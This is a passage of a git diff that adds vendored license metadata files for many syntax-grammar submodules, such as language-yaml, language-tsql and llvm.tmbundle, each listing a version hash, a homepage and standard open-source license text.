+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/shellscript.tmbundle and distributed under the
+    following license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-subtitles.dep.yml b/vendor/licenses/git_submodule/language-subtitles.dep.yml
new file mode 100644
index 0000000000..86cbf6f38b
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-subtitles.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-subtitles
+version: 82cf7686f8f15c19c80e612c8b7da57d87eeb5b7
+type: git_submodule
+homepage: https://github.com/Alhadis/language-subtitles.git
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2022-2024, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-supercollider.dep.yml b/vendor/licenses/git_submodule/language-supercollider.dep.yml
new file mode 100644
index 0000000000..d66689d6f2
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-supercollider.dep.yml
@@ -0,0 +1,31 @@
+---
+name: language-supercollider
+version: 1d21ff70c8830610c7fa9ec408f377fc9bce0ba4
+type: git_submodule
+homepage: https://github.com/supercollider/language-supercollider
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2014-2015 Chris Sattinger
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-texinfo.dep.yml b/vendor/licenses/git_submodule/language-texinfo.dep.yml
new file mode 100644
index 0000000000..63eb4f1472
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-texinfo.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-texinfo
+version: ade70d4330447a963f23952c516c2944533f7988
+type: git_submodule
+homepage: https://github.com/Alhadis/language-texinfo
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2019-2022, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-ti-basic.dep.yml b/vendor/licenses/git_submodule/language-ti-basic.dep.yml
new file mode 100644
index 0000000000..6e84caaed0
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-ti-basic.dep.yml
@@ -0,0 +1,39 @@
+---
+name: language-ti-basic
+version: fe790300ae12b4092c2072595018ded18b3fdd6d
+type: git_submodule
+homepage: https://github.com/TIny-Hacker/language-ti-basic.git
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    BSD 3-Clause License
+
+    Copyright (c) 2023 - 2024, TIny_Hacker
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this
+       list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    3. Neither the name of the copyright holder nor the names of its
+       contributors may be used to endorse or promote products derived from
+       this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-toc-wow.dep.yml b/vendor/licenses/git_submodule/language-toc-wow.dep.yml
new file mode 100644
index 0000000000..b76722a9a7
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-toc-wow.dep.yml
@@ -0,0 +1,34 @@
+---
+name: language-toc-wow
+version: ab1b774c1b7faaf20129ce51e25de64178b981b8
+type: git_submodule
+homepage: https://github.com/nebularg/language-toc-wow
+license: unlicense
+licenses:
+- sources: UNLICENSE
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org>
+notices: []
diff --git a/vendor/licenses/git_submodule/language-tsql.dep.yml b/vendor/licenses/git_submodule/language-tsql.dep.yml
new file mode 100644
index 0000000000..512b00ba53
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-tsql.dep.yml
@@ -0,0 +1,31 @@
+---
+name: language-tsql
+version: 5f4272093b956ebb944ef5d61f1b6ab81a81b66b
+type: git_submodule
+homepage: https://github.com/beau-witter/language-tsql
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019 Beau Witter
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-turing.dep.yml b/vendor/licenses/git_submodule/language-turing.dep.yml
new file mode 100644
index 0000000000..4d3d998639
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-turing.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-turing
+version: 3d177f94f81e4e94b0a7634dd1e763d0fed8e45c
+type: git_submodule
+homepage: https://github.com/Alhadis/language-turing
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016-2021, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-typelanguage.dep.yml b/vendor/licenses/git_submodule/language-typelanguage.dep.yml
new file mode 100644
index 0000000000..aa5b3a3017
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-typelanguage.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: language-typelanguage
+version: 815fb80bb308b25ac7f73122e671749146cae45d
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2017 goodmind
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-viml.dep.yml b/vendor/licenses/git_submodule/language-viml.dep.yml
new file mode 100644
index 0000000000..80a4da4583
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-viml.dep.yml
@@ -0,0 +1,32 @@
+---
+name: language-viml
+version: 979e1c62230bbf29fd6963e3620028ccba6848ad
+type: git_submodule
+homepage: https://github.com/Alhadis/language-viml
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2014-2016 Evan Hahn
+    Copyright (c) 2016-2023 John Gardner
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-wavefront.dep.yml b/vendor/licenses/git_submodule/language-wavefront.dep.yml
new file mode 100644
index 0000000000..6a58d354b2
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-wavefront.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-wavefront
+version: 7df4ab92557f0bd03d6671156b5ef1374f98626e
+type: git_submodule
+homepage: https://github.com/Alhadis/language-wavefront
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016-2021, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-webassembly.dep.yml b/vendor/licenses/git_submodule/language-webassembly.dep.yml
new file mode 100644
index 0000000000..12fb00151b
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-webassembly.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-webassembly
+version: fd1dfbdd83c09429ac8fc6a691515ed2b72c109a
+type: git_submodule
+homepage: https://github.com/Alhadis/language-webassembly
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2017-2021, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-xbase.dep.yml b/vendor/licenses/git_submodule/language-xbase.dep.yml
new file mode 100644
index 0000000000..a58811124a
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-xbase.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-xbase
+version: deada68e573bfd623e79b3e3c96b920bdf9f1b6d
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2014 <Your name here>
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-xcompose.dep.yml b/vendor/licenses/git_submodule/language-xcompose.dep.yml
new file mode 100644
index 0000000000..241179fbf4
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-xcompose.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: language-xcompose
+version: 220ec42caae041405c828463185be1de6b41c53f
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2016 Samantha McVey
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-yaml.dep.yml b/vendor/licenses/git_submodule/language-yaml.dep.yml
new file mode 100644
index 0000000000..ed605b5080
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-yaml.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-yaml
+version: b0f7f6598a5be8e07f05e124dabd7869749eccc4
+type: git_submodule
+homepage: https://github.com/atom/language-yaml
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/yaml.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-yang.dep.yml b/vendor/licenses/git_submodule/language-yang.dep.yml
new file mode 100644
index 0000000000..43de7aec61
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-yang.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-yang
+version: c2d4a701d15e0ea7a1cef4f2fe4396b336504d7c
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2014 Ján Hajnár
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/latex.tmbundle.dep.yml b/vendor/licenses/git_submodule/latex.tmbundle.dep.yml
new file mode 100644
index 0000000000..3d14011935
--- /dev/null
+++ b/vendor/licenses/git_submodule/latex.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: latex.tmbundle
+version: 90d3383ff86b7f4495e33c7c5240dde7308376ee
+type: git_submodule
+homepage: https://github.com/textmate/latex.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/linter-lilypond.dep.yml b/vendor/licenses/git_submodule/linter-lilypond.dep.yml
new file mode 100644
index 0000000000..3ad27f21aa
--- /dev/null
+++ b/vendor/licenses/git_submodule/linter-lilypond.dep.yml
@@ -0,0 +1,17 @@
+---
+name: linter-lilypond
+version: 5e6bb36c22a0e91b445a0e5fe2124c3cc9ac775c
+type: git_submodule
+homepage: https://github.com/nwhetsell/linter-lilypond
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright © Nathan Whetsell
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/liquid-tm-grammar.dep.yml b/vendor/licenses/git_submodule/liquid-tm-grammar.dep.yml
new file mode 100644
index 0000000000..086a655c35
--- /dev/null
+++ b/vendor/licenses/git_submodule/liquid-tm-grammar.dep.yml
@@ -0,0 +1,18 @@
+---
+name: liquid-tm-grammar
+version: 20d3a4315bd4f2285358197bdf02eeca39e4c8db
+type: git_submodule
+homepage: https://github.com/Shopify/liquid-tm-grammar.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |2
+
+    Copyright 2022-present, Shopify Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/lisp.tmbundle.dep.yml b/vendor/licenses/git_submodule/lisp.tmbundle.dep.yml
new file mode 100644
index 0000000000..22397c8220
--- /dev/null
+++ b/vendor/licenses/git_submodule/lisp.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: lisp.tmbundle
+version: 2c5059458c4bf8165ac2bd785a287cf292a0888d
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/llvm.tmbundle.dep.yml b/vendor/licenses/git_submodule/llvm.tmbundle.dep.yml
new file mode 100644
index 0000000000..02b03b73b7
--- /dev/null
+++ b/vendor/licenses/git_submodule/llvm.tmbundle.dep.yml
@@ -0,0 +1,32 @@
+---
+name: llvm.tmbundle
+version: 7ff793709860dfba393ee27a8537b8aeda5b36d8
+type: git_submodule
+homepage: https://github.com/whitequark/llvm.tmbundle
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    Copyright (c) 2013 Peter Zotov  <whitequark@whitequark.org>
+
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
